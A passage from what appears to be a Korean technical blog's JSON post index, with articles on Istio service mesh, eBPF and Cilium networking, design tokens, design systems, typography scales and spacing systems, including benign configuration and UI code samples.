통신하는 것처럼 쓰고, 실제 복잡한 처리는 proxy가 담당한다.\n구조 Data Plane — Envoy Sidecar Envoy는 고성능 L7 proxy다. Istio는 각 파드에 Envoy를 sidecar 컨테이너로 자동 주입한다.\nPod: ├── App Container (포트 8080에서 서비스) └── Envoy Sidecar (포트 15001, 15006 등) 인바운드 트래픽: 외부 → Envoy → App (15006) 아웃바운드 트래픽: App → Envoy → 외부 (15001) iptables 규칙이 파드의 모든 인바운드/아웃바운드 트래픽을 Envoy로 리다이렉트한다. 앱은 자신이 proxy를 거치는지 모른다.\nControl Plane — Istiod Istio의 컨트롤 플레인이다. 서비스 디스커버리, 인증서 발급, Envoy 설정 배포를 담당한다. 각 Envoy에게 \u0026ldquo;어떤 서비스가 어디 있는지, 어떤 정책을 적용할지\u0026quot;를 xDS API로 전달한다.\nIstiod ├── Pilot: 서비스 디스커버리, 트래픽 라우팅 규칙 배포 ├── Citadel: 인증서 발급 및 갱신 (SPIFFE 기반 mTLS) └── Galley: 설정 유효성 검사 주요 기능 mTLS 자동화 파드 간 모든 통신에 mTLS를 자동으로 적용한다. Istio가 인증서를 발급하고 Envoy가 핸드쉐이크를 처리한다. 앱 코드 변경 없이 서비스 간 암호화와 인증이 된다.\napiVersion: security.istio.io/v1beta1 kind: PeerAuthentication metadata: name: default namespace: production spec: mtls: mode: STRICT # mTLS가 아닌 연결 거부 트래픽 관리 Envoy를 통한 정교한 트래픽 제어가 가능하다.\n# VirtualService: 트래픽 라우팅 규칙 apiVersion: networking.istio.io/v1beta1 kind: VirtualService metadata: name: my-service spec: hosts: - my-service http: - match: - headers: x-canary: exact: \u0026#34;true\u0026#34; route: - destination: host: my-service subset: v2 # 카나리 배포: x-canary 헤더 있으면 v2로 - route: - destination: host: my-service subset: v1 weight: 90 - destination: host: my-service subset: v2 weight: 10 # 가중치 기반 트래픽 분산 --- # DestinationRule: 서브셋 정의 및 재시도/타임아웃 설정 apiVersion: networking.istio.io/v1beta1 kind: DestinationRule metadata: name: my-service spec: host: my-service trafficPolicy: connectionPool: tcp: maxConnections: 100 outlierDetection: # 서킷 브레이커 consecutive5xxErrors: 5 interval: 30s baseEjectionTime: 30s # 5번 연속 실패 시 30초 동안 제외 subsets: - name: v1 labels: version: v1 - name: v2 labels: version: v2 outlierDetection이 서킷 브레이커다. 특정 파드가 연속으로 실패하면 일정 시간 동안 그 파드로 트래픽을 보내지 않는다. 앱 코드에 Hystrix나 Resilience4j를 넣지 않아도 된다.\n분산 추적 자동화 Envoy가 모든 요청에 x-b3-traceid 같은 추적 헤더를 자동으로 주입하고 전파한다. Jaeger나 Zipkin으로 서비스 간 호출 흐름을 시각화할 수 있다.\n단, 앱 코드에서 인바운드 헤더를 아웃바운드로 전파하는 것은 여전히 앱이 해야 한다. Envoy는 자신을 거치는 구간의 span을 기록하지만, 앱이 다음 서비스를 호출할 때 헤더를 넘겨야 트레이스가 이어진다.\nObservability — Kiali Istio와 함께 쓰는 Kiali는 서비스 그래프를 시각화한다. 서비스 간 트래픽 흐름, 오류율, 레이턴시를 실시간으로 보여준다. 어느 서비스에서 오류가 발생하는지 한눈에 파악할 수 있다.\n트레이드오프 Sidecar proxy가 모든 트래픽을 거치므로 레이턴시가 늘어난다. Envoy 한 홉당 약 0.51ms의 오버헤드가 추가된다. 서비스 A → 서비스 B 호출은 A의 Envoy → B의 Envoy를 거치므로 최소 12ms가 추가된다. 레이턴시에 민감한 고빈도 내부 API에서는 이 오버헤드가 유의미할 수 있다.\n메모리 사용량도 증가한다. 각 파드에 Envoy가 추가되므로 파드당 50~100MB의 메모리를 더 쓴다. 파드가 수백 개면 전체 클러스터 메모리 비용이 증가한다.\n운영 복잡도가 높다. Istio 자체를 운영하는 것이 하나의 프로젝트다. 버전 업그레이드가 까다롭고, 설정 오류가 전체 서비스 통신에 영향을 줄 수 있다. 소규모 팀이나 서비스가 많지 않은 경우 오버엔지니어링일 수 있다. Linkerd가 Istio보다 가볍고 단순한 대안으로 자주 언급된다.\n","permalink":"https://charminggroot.github.io/posts/054-service-mesh/","summary":"마이크로서비스가 많아지면 서비스 간 통신 관리가 복잡해진다. 재시도, 타임아웃, 서킷 브레이커, mTLS, 분산 추적을 각 서비스 코드에 중복 구현하게 된다. Service Mesh는 이 공통 기능을 sidecar proxy로 분리해 인프라 레이어에서 처리한다. Istio와 Envoy의 구조, 주요 기능, 그리고 오버헤드를 설명한다.","title":"054. Service Mesh — 서비스 간 통신을 인프라 레이어에서 제어하기"},{"content":"k8s 네트워킹은 전통적으로 iptables에 의존한다. kube-proxy가 각 노드에 수천 개의 iptables 규칙을 심어 서비스 로드밸런싱과 NetworkPolicy를 구현한다. 규칙이 많아질수록 매칭 비용이 선형으로 늘어나고, 규칙 업데이트 시 전체 체인을 재적용해야 한다.\neBPF는 다른 접근 방식이다. 커널 안에서 직접 패킷을 처리하는 프로그램을 실행해 iptables의 한계를 넘어선다.\neBPF란 eBPF(extended Berkeley Packet Filter)는 원래 패킷 필터링 목적으로 시작했지만, 현재는 리눅스 커널에서 사용자 정의 프로그램을 안전하게 실행하는 범용 기술이 됐다. JIT 컴파일로 네이티브에 가까운 성능을 내고, 커널 소스를 수정하거나 모듈을 로드하지 않아도 된다.\n전통 방식: 패킷 → 네트워크 스택 → iptables 체인 순회 → 목적지 eBPF 방식: 패킷 → eBPF 프로그램 (커널 내 직접 처리) → 목적지 ↑ 체인 순회 없이 O(1) 결정 iptables는 규칙이 1000개면 1000번 체크할 수 있지만, eBPF는 해시 테이블로 O(1)에 결정한다. 서비스가 많고 파드가 많은 대규모 클러스터에서 차이가 드러난다.\nCilium Cilium은 eBPF 기반의 k8s CNI 플러그인이다. 네트워킹, 보안, 관찰 가능성 세 가지를 eBPF로 통합 처리한다.\nkube-proxy 대체 Cilium은 kube-proxy 없이 동작한다. eBPF로 Service의 로드밸런싱을 처리한다. 파드 수나 서비스 수가 늘어도 성능 저하가 적다.\n# EKS에서 Cilium 설치 시 kube-proxy 비활성화 helm install cilium cilium/cilium \\ --set kubeProxyReplacement=true \\ --set k8sServiceHost=\u0026lt;API_SERVER_ENDPOINT\u0026gt; NetworkPolicy 구현 Calico, Flannel 등 다른 CNI도 NetworkPolicy를 구현하지만, Cilium은 iptables 대신 eBPF로 처리한다. 규칙이 많아도 성능 저하가 적다.\nCilium은 표준 k8s NetworkPolicy 외에 CiliumNetworkPolicy를 추가로 제공한다.\n# 표준 NetworkPolicy보다 세밀한 제어 apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: api-policy spec: endpointSelector: matchLabels: app: api-server ingress: - fromEndpoints: - matchLabels: app: frontend toPorts: - ports: - port: \u0026#34;8080\u0026#34; protocol: TCP rules: http: # HTTP 레벨 정책 - method: GET path: \u0026#34;/api/.*\u0026#34; # GET 요청만, 특정 경로만 - method: POST path: \u0026#34;/api/orders\u0026#34; L7(HTTP) 레벨까지 내려가 특정 메서드와 경로만 허용하는 정책을 만들 수 있다. 기존 NetworkPolicy는 IP/포트 레벨(L4)까지만 가능했다.\nHubble — 실시간 네트워크 관찰 Cilium에 내장된 Hubble은 eBPF로 모든 네트워크 흐름을 캡처한다. 별도 sidecar 없이 커널 레벨에서 수집하므로 성능 영향이 최소화된다.\n# 흐름 실시간 조회 hubble observe --namespace production # 특정 서비스 트래픽 hubble observe --to-pod order-service # 드롭된 패킷 hubble observe --verdict DROPPED Hubble UI에서 서비스 간 트래픽 흐름을 그래프로 볼 수 있다. NetworkPolicy가 의도대로 동작하는지 드롭된 패킷으로 확인할 수 있다.\nCilium Service Mesh Cilium은 eBPF 기반 서비스 메시 기능도 제공한다. sidecar proxy 없이 커널에서 직접 처리하는 Sidecarless Service Mesh다.\nIstio (sidecar 방식): 파드 → Envoy sidecar → 네트워크 → Envoy sidecar → 파드 (추가 메모리, 추가 레이턴시) Cilium Service Mesh (sidecarless): 파드 → eBPF (커널) → 네트워크 → eBPF (커널) → 파드 (메모리 오버헤드 최소, 레이턴시 최소) mTLS, 트래픽 관리, 관찰 가능성을 sidecar 없이 구현한다. 단, Istio에 비해 기능이 아직 제한적이고 성숙도가 낮다.\n성능 비교 iptables/kube-proxy Cilium (eBPF) 서비스 룩업 O(n) 체인 순회 O(1) 해시 테이블 규칙 업데이트 전체 체인 재적용 증분 업데이트 대규모 클러스터 성능 저하 선형 확장 관찰 가능성 별도 도구 필요 Hubble 내장 트레이드오프 eBPF는 커널 버전 의존성이 있다. 일부 기능은 최신 커널(5.10+, 5.15+ 권장)에서만 동작한다. 오래된 OS 이미지를 쓰는 온프렘 환경에서는 커널 업그레이드가 선행돼야 한다.\nCilium의 설정이 기존 CNI보다 복잡하다. CiliumNetworkPolicy, Hubble, 서비스 메시 기능을 모두 이해하고 운영하려면 학습 비용이 있다. 기능을 전부 쓰지 않는다면 Calico로 시작해 필요할 때 마이그레이션하는 것도 합리적인 선택이다.\nAWS EKS에서 Cilium을 쓸 때 AWS VPC CNI와 함께 체이닝 모드로 쓰거나, Cilium을 단독 CNI로 쓰는 두 가지 방식이 있다. EKS Managed Node Group에서 kube-proxy를 비활성화하는 데 별도 설정이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/055-ebpf-cilium/","summary":"eBPF(extended Berkeley Packet Filter)는 리눅스 커널 안에서 사용자 정의 프로그램을 안전하게 실행하는 기술이다. Cilium은 eBPF 기반의 k8s CNI 플러그인으로, iptables를 대체하고 고성능 네트워킹, NetworkPolicy 구현, 서비스 메시 기능, 실시간 관찰 가능성을 커널 레벨에서 제공한다.","title":"055. eBPF \u0026 Cilium — 커널 레벨 네트워킹과 차세대 CNI"},{"content":"버튼 컴포넌트에 color: #3B82F6을 직접 쓰고, 카드에도 같은 코드를 복사하고, 헤더에도 넣었다. 브랜드 컬러를 바꾸기로 했다. 이제 모든 파일을 찾아서 고쳐야 한다.\nDesign Token은 이 문제를 해결한다. #3B82F6에 color-primary라는 이름을 붙이고, 모든 컴포넌트가 그 이름을 참조한다. 브랜드 컬러를 바꿀 때 토큰 하나만 수정하면 전체에 반영된다.\n토큰 계층 구조 토큰은 보통 두 계층으로 나눈다.\nPrimitive Token (Global Token) 원시값에 의미 없는 이름을 붙인 것이다. 팔레트 전체를 정의한다.\n// 색상 팔레트 color-blue-50: #EFF6FF color-blue-100: #DBEAFE color-blue-400: #60A5FA color-blue-500: #3B82F6 color-blue-600: #2563EB color-blue-900: #1E3A8A color-gray-50: #F9FAFB color-gray-500: #6B7280 color-gray-900: #111827 // 간격 spacing-1: 4px spacing-2: 8px spacing-4: 16px spacing-8: 32px // 폰트 크기 font-size-sm: 14px font-size-base: 16px font-size-xl: 20px font-size-3xl: 30px 이 계층은 \u0026ldquo;무엇이 있는지\u0026quot;만 정의한다. \u0026ldquo;언제 쓰는지\u0026quot;는 다음 계층이다.\nSemantic Token (Alias Token) Primitive Token에 의미를 부여한다. 컴포넌트는 이 계층의 토큰을 참조한다.\n// 의미 기반 색상 color-primary: color-blue-500 color-primary-hover: color-blue-600 color-text-default: color-gray-900 color-text-muted: color-gray-500 color-background: color-gray-50 color-border: color-gray-200 color-danger: color-red-500 color-success: color-green-500 // 컴포넌트 특화 토큰 (필요 시) button-bg-primary: color-primary button-bg-hover: color-primary-hover button-text: color-white 버튼이 color-blue-500을 직접 참조하지 않고 color-primary를 참조한다. 나중에 브랜드 컬러를 보라색으로 바꾸면 color-primary: color-purple-500으로만 바꾸면 된다.\n다크모드 구현 Semantic Token이 있으면 다크모드가 자연스럽게 구현된다.\n/* 라이트 모드 */ :root { --color-background: #F9FAFB; --color-text-default: #111827; --color-primary: #3B82F6; --color-border: #E5E7EB; } /* 다크 모드 */ [data-theme=\u0026#34;dark\u0026#34;] { --color-background: #111827; --color-text-default: #F9FAFB; --color-primary: #60A5FA; /* 다크에서 더 밝은 파란색 */ --color-border: #374151; } 컴포넌트 코드는 var(--color-background) 하나만 쓴다. 테마가 바뀌면 CSS 변수값만 교체되므로 컴포넌트를 건드리지 않아도 된다.\n구현 도구 Style Dictionary Amazon이 만든 오픈소스 토큰 변환 도구다. JSON으로 토큰을 정의하면 CSS Variables, iOS Swift, Android Kotlin, JS 상수 등 여러 플랫폼용 파일을 자동으로 생성한다.\n// tokens.json { \u0026#34;color\u0026#34;: { \u0026#34;primary\u0026#34;: { \u0026#34;value\u0026#34;: \u0026#34;#3B82F6\u0026#34; }, \u0026#34;text\u0026#34;: { \u0026#34;default\u0026#34;: { \u0026#34;value\u0026#34;: \u0026#34;#111827\u0026#34; }, \u0026#34;muted\u0026#34;: { \u0026#34;value\u0026#34;: \u0026#34;#6B7280\u0026#34; } } }, \u0026#34;spacing\u0026#34;: { \u0026#34;4\u0026#34;: { \u0026#34;value\u0026#34;: \u0026#34;16px\u0026#34; } } } style-dictionary build /* 자동 생성: variables.css */ :root { --color-primary: #3B82F6; --color-text-default: #111827; --color-text-muted: #6B7280; --spacing-4: 16px; } // 자동 생성: StyleDictionary.swift public enum StyleDictionary { public static let colorPrimary = UIColor(red: 0.23, green: 0.51, blue: 0.96, alpha: 1) } 웹, iOS, Android가 같은 토큰 파일에서 각자 필요한 형식으로 코드를 생성하므로 플랫폼 간 디자인 일관성이 유지된다.\nFigma Variables Figma 안에서 직접 토큰을 정의하고 컴포넌트에 연결하는 기능이다. 디자이너가 Figma에서 변수를 정의하면 개발자가 그 값을 받아 Style Dictionary나 CSS 변수로 내보낸다.\nFigma Variables와 Style Dictionary를 연결하는 플러그인(Token Studio 등)을 쓰면 디자이너의 변경이 자동으로 코드로 흘러가는 파이프라인을 만들 수 있다.\nTailwind CSS Tailwind는 설정 파일이 사실상 Design Token이다.\n// tailwind.config.js module.exports = { theme: { extend: { colors: { primary: { DEFAULT: \u0026#39;#3B82F6\u0026#39;, hover: \u0026#39;#2563EB\u0026#39;, }, text: { muted: \u0026#39;#6B7280\u0026#39;, } }, spacing: { \u0026#39;18\u0026#39;: \u0026#39;72px\u0026#39;, } } } } bg-primary, text-text-muted 같은 유틸리티 클래스로 토큰을 참조한다. 별도 Design Token 시스템 없이 Tailwind 설정만으로 브랜드 일관성을 관리하는 팀이 많다.\nDesign System과의 관계 Design Token이 \u0026ldquo;값\u0026quot;을 정의한다면, Design System은 그 위에 쌓인 더 큰 개념이다.\nDesign System ├── Design Token (값: 색상, 간격, 타이포그래피) ├── Component (Button, Input, Modal 등 — 토큰을 참조) ├── Pattern (컴포넌트 조합 방식) └── Guideline (언제 무엇을 쓸지 규칙) 토큰 없이 컴포넌트만 만들면 컴포넌트 안에 하드코딩된 값들이 분산돼 일관성을 유지하기 어렵다. 토큰이 Design System의 토대가 된다.\n트레이드오프 토큰 계층을 너무 세분화하면 오히려 복잡해진다. button-primary-bg-color-default-state처럼 과도하게 구체적인 토큰은 유지하기 어렵다. Primitive → Semantic 두 계층이면 대부분 충분하다.\n디자이너와 개발자가 같은 토큰 이름을 쓰는 것이 핵심이다. Figma에서 Primary/500이라고 부르는 것을 개발 코드에서 color-blue-500이라고 다르게 부르면 소통 비용이 생긴다. 토큰 정의 단계에서 디자이너와 개발자가 함께 이름을 정하는 것이 중요하다.\n","permalink":"https://charminggroot.github.io/posts/056-design-token/","summary":"Design Token은 색상, 타이포그래피, 간격, 그림자 같은 디자인 결정을 이름 있는 변수로 추상화한 것이다. 컴포넌트가 직접 헥스코드를 박지 않고 토큰을 참조하면, 브랜드 변경이나 다크모드 구현이 토큰 수정 하나로 전체에 반영된다. 토큰 계층 구조, 실제 구현 방법, 그리고 Design System과의 관계를 설명한다.","title":"056. Design Token — 디자인 결정을 변수로 관리하기"},{"content":"팀이 커지고 제품 화면이 늘어나면 일관성이 무너지기 시작한다. 개발자마다 버튼을 다르게 만들고, 같은 기능을 하는 모달이 세 가지 스타일로 존재한다. 신규 개발자가 어떤 컴포넌트를 써야 하는지 파악하는 데 시간이 걸린다.\nDesign System은 이 문제를 해결하는 체계다. \u0026ldquo;우리 제품에서 버튼은 이렇게 생겼고, 이런 상황에서 쓴다\u0026quot;를 정의하고 공유한다. 컴포넌트를 매번 새로 만들지 않고 시스템에서 가져다 쓴다.\n원자 디자인 (Atomic Design) Brad Frost가 제안한 컴포넌트 계층화 방법론이다. 화학의 원자→분자→유기체 비유로 UI를 계층화한다.\nAtom (원자) 가장 작은 단위. 더 이상 분해할 수 없는 UI 요소. Button, Input, Label, Icon, Badge Molecule (분자) Atom 여러 개가 결합해 하나의 기능 단위를 이루는 것. SearchBar = Input + Button FormField = Label + Input + ErrorMessage Organism (유기체) Molecule과 Atom이 결합한 복잡한 UI 섹션. Header = Logo + Navigation + SearchBar + UserMenu ProductCard = Image + Title + Price + AddToCartButton Template (템플릿) Organism들로 구성된 페이지 레이아웃. 실제 콘텐츠 없이 구조만. Page (페이지) Template에 실제 데이터를 채운 최종 화면. 실제 적용 // Atom: Button const Button = ({ variant, size, children, onClick }) =\u0026gt; ( \u0026lt;button className={cn( styles.base, styles.variants[variant], styles.sizes[size] )} onClick={onClick} \u0026gt; {children} \u0026lt;/button\u0026gt; ) // Atom: Input const Input = ({ placeholder, value, onChange }) =\u0026gt; ( \u0026lt;input className={styles.input} ... /\u0026gt; ) // Molecule: SearchBar = Input + Button const SearchBar = ({ onSearch }) =\u0026gt; { const [query, setQuery] = useState(\u0026#39;\u0026#39;) return ( \u0026lt;div className={styles.searchBar}\u0026gt; \u0026lt;Input value={query} onChange={setQuery} placeholder=\u0026#34;검색\u0026#34; /\u0026gt; \u0026lt;Button variant=\u0026#34;primary\u0026#34; onClick={() =\u0026gt; onSearch(query)}\u0026gt; 검색 \u0026lt;/Button\u0026gt; \u0026lt;/div\u0026gt; ) } 계층이 명확하면 컴포넌트가 어디에 있는지, 어떻게 조합해야 하는지 팀원 누구나 예측할 수 있다.\n컴포넌트 설계 원칙 변형(Variant)을 명시적으로 정의한다 버튼 하나에 여러 변형이 있을 수 있다. 이걸 prop으로 명시하면 사용처에서 임의로 스타일을 덮어쓰지 않아도 된다.\ntype ButtonVariant = \u0026#39;primary\u0026#39; | \u0026#39;secondary\u0026#39; | \u0026#39;ghost\u0026#39; | \u0026#39;danger\u0026#39; type ButtonSize = \u0026#39;sm\u0026#39; | \u0026#39;md\u0026#39; | \u0026#39;lg\u0026#39; interface ButtonProps { variant?: ButtonVariant size?: ButtonSize disabled?: boolean loading?: boolean fullWidth?: boolean } 컴포넌트가 지원하는 변형이 명시돼 있으면, 디자이너도 \u0026ldquo;이 버튼에는 danger 변형이 있다\u0026quot;는 것을 알고 Figma에서 같은 이름으로 설계한다.\n합성(Composition)을 선호한다 컴포넌트가 너무 많은 것을 알면 유연성이 떨어진다.\n// 나쁜 예: Modal이 타이틀과 버튼을 직접 소유 \u0026lt;Modal title=\u0026#34;삭제 확인\u0026#34; onConfirm={...} onCancel={...} /\u0026gt; // 좋은 예: 합성으로 구조를 외부에서 결정 \u0026lt;Modal\u0026gt; \u0026lt;Modal.Header\u0026gt;삭제 확인\u0026lt;/Modal.Header\u0026gt; \u0026lt;Modal.Body\u0026gt;이 항목을 삭제하시겠습니까?\u0026lt;/Modal.Body\u0026gt; \u0026lt;Modal.Footer\u0026gt; \u0026lt;Button variant=\u0026#34;ghost\u0026#34; onClick={onCancel}\u0026gt;취소\u0026lt;/Button\u0026gt; \u0026lt;Button variant=\u0026#34;danger\u0026#34; onClick={onConfirm}\u0026gt;삭제\u0026lt;/Button\u0026gt; \u0026lt;/Modal.Footer\u0026gt; \u0026lt;/Modal\u0026gt; 합성 패턴은 컴포넌트의 내부 구조를 열어두어 다양한 케이스를 수용한다.\nStorybook — 컴포넌트 문서화 Storybook은 컴포넌트를 실제 앱과 분리된 환경에서 독립적으로 개발하고 문서화하는 도구다.\n// Button.stories.tsx export default { title: \u0026#39;Components/Button\u0026#39;, component: Button, } export const Primary = { args: { variant: \u0026#39;primary\u0026#39;, children: \u0026#39;저장하기\u0026#39;, } } export const Danger = { args: { variant: \u0026#39;danger\u0026#39;, children: \u0026#39;삭제하기\u0026#39;, } } export const Loading = { args: { variant: \u0026#39;primary\u0026#39;, loading: true, children: \u0026#39;저장 중...\u0026#39;, } } export const AllVariants = () =\u0026gt; ( \u0026lt;div style={{ display: \u0026#39;flex\u0026#39;, gap: 8 }}\u0026gt; \u0026lt;Button variant=\u0026#34;primary\u0026#34;\u0026gt;Primary\u0026lt;/Button\u0026gt; \u0026lt;Button variant=\u0026#34;secondary\u0026#34;\u0026gt;Secondary\u0026lt;/Button\u0026gt; \u0026lt;Button variant=\u0026#34;ghost\u0026#34;\u0026gt;Ghost\u0026lt;/Button\u0026gt; \u0026lt;Button variant=\u0026#34;danger\u0026#34;\u0026gt;Danger\u0026lt;/Button\u0026gt; \u0026lt;/div\u0026gt; ) Storybook을 빌드해 배포하면 디자이너, 기획자, QA가 브라우저에서 컴포넌트를 직접 확인하고 props를 바꿔볼 수 있다. \u0026ldquo;버튼 disabled 상태가 어떻게 생겼더라\u0026quot;를 코드를 뒤지지 않고 Storybook에서 확인한다.\nDesign System의 범위 모든 것을 Design System에 넣으려 하면 오히려 유지보수 부담이 커진다. 범위를 현실적으로 정하는 것이 중요하다.\n반드시 포함: - Design Token (색상, 타이포그래피, 간격, 그림자) - 기본 컴포넌트 (Button, Input, Modal, Toast, Badge 등) - 레이아웃 컴포넌트 (Grid, Stack, Container) 상황에 따라: - 복잡한 Organism (Header, Sidebar, DataTable) - 아이콘 시스템 - 애니메이션 토큰 제품 코드에 두는 것: - 페이지 단위 컴포넌트 - 도메인 특화 컴포넌트 (주문 폼, 결제 위젯 등) 트레이드오프 Design System은 초기 투자 비용이 크다. 버튼 하나 만드는 데 모든 변형, 접근성, 문서화를 갖추려면 시간이 걸린다. 제품이 작거나 팀이 혼자일 때는 오버엔지니어링이 될 수 있다.\n버전 관리가 필요해진다. Design System을 npm 패키지로 분리하면 여러 제품이 공유할 수 있지만, 버전 업그레이드와 하위 호환성을 관리해야 한다. 제품이 하나뿐이라면 모노레포 안에서 패키지로 관리하는 것이 더 단순하다.\nDesign System은 \u0026ldquo;만들어두면 끝\u0026quot;이 아니다. 계속 사용되고 발전하려면 누군가 유지보수와 전파(교육, 문서 업데이트)를 담당해야 한다. 전담 팀이나 명확한 오너가 없으면 시간이 지나면서 방치된다.\n","permalink":"https://charminggroot.github.io/posts/057-design-system/","summary":"Design System은 토큰, 컴포넌트, 패턴, 가이드라인을 하나의 시스템으로 묶어 제품 전체의 일관성을 유지하는 체계다. 원자 디자인 방법론으로 컴포넌트를 계층화하고, Storybook으로 문서화하는 방법, 그리고 Design System을 도입할 때의 현실적인 트레이드오프를 설명한다.","title":"057. Design System — 컴포넌트 라이브러리와 원자 디자인"},{"content":"텍스트는 UI에서 대부분의 정보를 전달한다. 타이포그래피가 일관되지 않으면 사용자는 무엇이 제목이고 무엇이 본문인지 직관적으로 파악하기 어렵다. 폰트 크기를 12, 13, 14, 15, 16px처럼 비슷하게 쓰면 위계가 없어 보인다. 반대로 체계적인 스케일은 정보 구조를 시각적으로 명확하게 전달한다.\n타이포그래피 스케일 일정한 비율로 증가하는 크기 단계를 정의한다. 흔히 쓰는 비율은 1.25(Major Third) 와 1.333(Perfect Fourth) 다.\n# Major Third (×1.25) 스케일 xs: 12px sm: 14px base: 16px ← 기준점 lg: 18px xl: 20px 2xl: 24px 3xl: 30px 4xl: 36px 5xl: 48px 6xl: 60px 각 단계가 뚜렷하게 차이 나므로 시각적 위계가 자연스럽게 생긴다. 14px와 15px는 너무 비슷해서 구분이 어렵지만, 14px와 18px는 명확히 다르다.\nTailwind CSS의 기본 타이포그래피 스케일이 이 방식을 따른다.\n사용처 매핑 스케일을 정했으면 각 크기가 어디에 쓰이는지 의미를 부여한다.\nxs (12px): 캡션, 레이블, 법적 고지 sm (14px): 보조 텍스트, 메타 정보, 폼 힌트 base (16px): 본문, 기본 UI 텍스트 lg (18px): 서브타이틀, 강조 본문 xl (20px): 소제목 (H3) 2xl (24px): 제목 (H2) 3xl (30px): 대제목 (H1, 모바일) 4xl (36px): 히어로 제목 (데스크탑) 5xl+ (48px~): 랜딩 페이지 대형 헤드라인 \u0026ldquo;이 텍스트는 24px를 써야지\u0026quot;가 아니라 \u0026ldquo;이건 H2니까 text-2xl을 쓰면 된다\u0026quot;로 생각하게 된다.\nLine-height — 행간 가독성에서 font-size만큼 중요한 것이 line-height다. 행간이 너무 좁으면 글이 답답하고, 너무 넓으면 연결성이 끊긴다.\n/* 일반적인 가이드라인 */ 제목 (큰 텍스트): line-height: 1.1 ~ 1.25 /* 타이트하게 */ 소제목: line-height: 1.25 ~ 1.375 본문: line-height: 1.5 ~ 1.75 /* 여유롭게 */ UI 레이블/버튼: line-height: 1.0 ~ 1.25 /* 딱 맞게 */ 큰 텍스트는 행간을 좁게 잡아야 자연스럽다. 48px 제목에 line-height: 1.5를 주면 줄 간격이 너무 벌어진다. 반대로 16px 본문에 line-height: 1.2는 너무 촘촘하다.\n/* Tailwind 기준 */ .text-4xl { font-size: 2.25rem; line-height: 2.5rem; } /* leading-10 */ .text-base { font-size: 1rem; line-height: 1.5rem; } /* leading-6 */ Font Weight — 굵기로 위계 표현 크기와 함께 굵기도 위계를 만드는 데 중요하다.\n400 (Regular): 본문, 일반 UI 텍스트 500 (Medium): 강조 본문, 네비게이션 아이템 600 (Semibold): 소제목, 버튼 레이블 700 (Bold): 제목, 주요 강조 800+ (Extrabold): 히어로 헤드라인 크기와 굵기를 함께 조정하면 위계가 더 명확해진다.\n/* H1: 크고 굵게 */ h1 { font-size: 2.25rem; font-weight: 700; line-height: 1.2; } /* H2: 중간 크기, 세미볼드 */ h2 { font-size: 1.5rem; font-weight: 600; line-height: 1.3; } /* 본문: 기본 크기, 레귤러 */ p { font-size: 1rem; font-weight: 400; line-height: 1.6; } 반응형 타이포그래피 모바일에서 데스크탑 크기의 제목을 그대로 쓰면 너무 작거나 너무 크다. 두 가지 방법이 있다.\nBreakpoint 기반 h1 { font-size: 1.875rem; /* 모바일: 30px */ } @media (min-width: 768px) { h1 { font-size: 2.25rem; /* 태블릿: 36px */ } } @media (min-width: 1024px) { h1 { font-size: 3rem; /* 데스크탑: 48px */ } } Fluid Typography — clamp() 뷰포트 너비에 따라 부드럽게 변하는 폰트 크기다. 특정 breakpoint에서 갑자기 바뀌지 않는다.\nh1 { /* 뷰포트 320px에서 30px, 1200px에서 48px 사이를 부드럽게 변환 */ font-size: clamp(1.875rem, 4vw + 0.5rem, 3rem); } clamp(최솟값, 이상적인값, 최댓값) — 뷰포트가 좁으면 최솟값, 넓으면 최댓값, 그 사이는 비율에 따라 유동적으로 결정된다.\n가독성 — 한 줄 너비 타이포그래피에서 자주 간과되는 것이 텍스트 너비다. 한 줄이 너무 길면 다음 줄 시작점을 찾기 어렵다.\n이상적인 한 줄 길이: 45~75자 (한국어는 약 25~40자) CSS: max-width: 65ch /* ch = 해당 폰트의 \u0026#39;0\u0026#39; 글자 너비 */ article p { max-width: 65ch; } 전체 레이아웃을 넓게 잡더라도 본문 텍스트는 max-width로 읽기 편한 너비로 제한한다.\n트레이드오프 스케일 단계가 너무 많으면 \u0026ldquo;어떤 크기를 써야 하지\u0026rdquo; 고민이 늘어난다. 10개보다 6~7개 단계가 일반적으로 충분하다. 스케일 밖의 크기가 필요하다고 느껴지면, 스케일을 무시하는 것이 아니라 스케일을 보완할지를 먼저 논의한다.\n시스템 폰트(San Francisco, Segoe UI)와 커스텀 웹폰트는 같은 크기여도 실제 보이는 크기가 다를 수 있다. 폰트를 바꿀 때 스케일 전체를 다시 검토해야 할 수 있다.\n","permalink":"https://charminggroot.github.io/posts/058-typography-scale/","summary":"타이포그래피는 텍스트가 어떻게 보이는지를 결정한다. 폰트 크기, 행간, 자간, 굵기를 체계 없이 쓰면 화면마다 느낌이 달라지고 위계가 흐려진다. 타이포그래피 스케일로 크기 체계를 정하고, 가독성 좋은 line-height를 설정하고, 웹에서 반응형 타이포그래피를 구현하는 방법을 설명한다.","title":"058. 타이포그래피 스케일 — 폰트 크기 체계와 가독성"},{"content":"두 요소가 얼마나 가까이 있는가는 그 둘이 얼마나 관련 있는가를 암시한다. 제목과 그 아래 본문은 가깝고, 다음 섹션과는 멀어야 한다. 이 근접의 원칙(Law of Proximity) 이 간격 시스템의 기반이다.\n간격을 임의로 정하면 화면마다 다른 느낌이 나고 위계가 흐려진다. 14px, 15px, 16px, 18px처럼 비슷한 값들이 섞이면 보는 사람은 구분을 못 한다.\n8pt 그리드 모든 간격을 8의 배수로 정의하는 시스템이다. 대부분의 기기가 8로 나눠지는 해상도를 가져 픽셀이 깔끔하게 떨어지고, 디자이너와 개발자가 같은 기준으로 소통할 수 있다.\nspacing-1: 4px (8의 절반, 아주 좁은 간격) spacing-2: 8px spacing-3: 12px spacing-4: 16px spacing-5: 20px spacing-6: 24px spacing-8: 32px spacing-10: 40px spacing-12: 48px spacing-16: 64px spacing-20: 80px spacing-24: 96px 4px는 8의 절반으로, 아이콘과 텍스트 사이처럼 아주 좁은 간격에 쓴다. Tailwind가 이 체계를 그대로 따른다.\n간격으로 위계 표현 간격의 크기가 관계의 강도를 나타낸다. 가까울수록 관련 있고, 멀수록 독립적이다.\n[섹션 제목] ← 위 섹션과 32px 떨어짐 ← 아래 내용과 8px 붙어있음 [섹션 내용 1] ← 같은 섹션 내 항목 간격 16px [섹션 내용 2] ← 다음 섹션과 32px 떨어짐 [다음 섹션 제목] 제목 위는 크게, 제목 아래는 작게 → 제목이 아래 내용과 묶여 보인다. 이것이 여백으로 그룹을 만드는 방식이다.\n컴포넌트 내부 간격 (Padding) 컴포넌트 안의 여백은 컴포넌트의 밀도를 결정한다. 버튼, 카드, 인풋처럼 상호작용 가능한 요소는 충분한 padding이 필요하다.\n/* 버튼 크기별 padding */ .btn-sm { 